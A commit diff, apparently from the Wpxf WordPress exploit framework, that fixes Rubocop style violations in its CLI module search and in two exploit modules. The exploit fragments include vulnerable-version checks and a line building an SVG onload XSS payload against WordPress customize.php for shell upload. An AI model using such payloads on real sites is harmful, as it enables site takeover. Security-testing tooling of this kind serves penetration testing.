Fix numerous Rubocop violations

Author: rastating

lib/cli/modules.rb

@@ -40,13 +40,20 @@ def use(module_path)
       refresh_autocomplete_options
     end
 
+    def module_name_from_class(klass)
+      klass.new.module_name
+    end
+
     def search_modules(args)
       pattern = /#{args.map { |m| Regexp.escape(m) }.join('|')}/i
       module_list = Wpxf::Auxiliary.module_list + Wpxf::Exploit.module_list
 
       results = []
       module_list.select { |m| m[:name] =~ pattern }.each do |mod|
-        results.push(path: mod[:name], title: mod[:class].new.module_name)
+        results.push(
+          path: mod[:name],
+          title: module_name_from_class(mod[:class])
+        )
       end
 
       results

modules/exploits/wp_v4.3_shortcode_xss_shell_upload.rb

@@ -33,7 +33,7 @@ def check
     version = wordpress_version
     return :unknown if version.nil?
     return :vulnerable if version < Gem::Version.new('4.3.1')
-    return :safe
+    :safe
   end
 
   def run
@@ -48,6 +48,6 @@ def run
     puts
 
     start_http_server
-    return @success
+    @success
   end
 end

modules/exploits/wp_v4.4_xss_shell_upload.rb

@@ -29,12 +29,12 @@ def check
     version = wordpress_version
     return :unknown if version.nil?
     return :vulnerable if version == Gem::Version.new('4.4')
-    return :safe
+    :safe
   end
 
   def url_with_xss
-    url = normalize_uri(wordpress_url_admin, "customize.php")
-    url += "?theme=<svg onload=#{xss_ascii_encoded_include_script}>"
+    url = normalize_uri(wordpress_url_admin, 'customize.php')
+    url + "?theme=<svg onload=#{xss_ascii_encoded_include_script}>"
   end
 
   def run
@@ -47,6 +47,6 @@ def run
     puts
 
     start_http_server
-    return @success
+    @success
   end
 end